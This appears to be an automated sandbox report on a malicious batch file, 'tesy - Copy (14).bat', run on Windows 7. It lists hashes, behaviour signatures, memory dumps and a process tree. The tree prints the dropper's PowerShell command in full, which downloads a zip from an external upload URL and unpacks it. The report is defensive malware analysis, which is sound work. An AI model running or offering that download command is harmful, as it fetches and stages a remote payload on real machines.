1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
117s
max time network
124s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 13:23

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General

Target

tesy - Copy (14).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2140	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2140	powershell.exe
2656	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2140	2160	cmd.exe	29
PID 2160 wrote to memory of 2140	2160	cmd.exe	29
PID 2160 wrote to memory of 2140	2160	cmd.exe	29
PID 2160 wrote to memory of 2656	2160	cmd.exe	30
PID 2160 wrote to memory of 2656	2160	cmd.exe	30
PID 2160 wrote to memory of 2656	2160	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c66dc8e9ffba199ee4f47b497a9e3590

SHA1
604a46e9492c1079876cd1f6cb431ac2fca3a03a

SHA256
795195797eff9bae709e38cf71c73d1da6a7669a391175fe51edc606ba18f282

SHA512
1244b96f84ac2f12a79eac6a88e7165ae5e351d41d42711d5f4e5c53c690c8e106ebf3e10534ba2fe4ed42e7954390eedfd009568565ea6213e7605a5d52b61f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OR3JVYFT7PYFZ23QY9SY.temp

Filesize
7KB

MD5
c66dc8e9ffba199ee4f47b497a9e3590

SHA1
604a46e9492c1079876cd1f6cb431ac2fca3a03a

SHA256
795195797eff9bae709e38cf71c73d1da6a7669a391175fe51edc606ba18f282

SHA512
1244b96f84ac2f12a79eac6a88e7165ae5e351d41d42711d5f4e5c53c690c8e106ebf3e10534ba2fe4ed42e7954390eedfd009568565ea6213e7605a5d52b61f

Download Submit
memory/2140-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-10-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2140-6-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-9-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2140-8-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2140-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2140-5-0x00000000024B0000-0x00000000024B8000-memory.dmp

Filesize
32KB

Download
memory/2656-19-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download
memory/2656-20-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-26-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-21-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-24-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2656-23-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2656-25-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2656-22-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2656-18-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download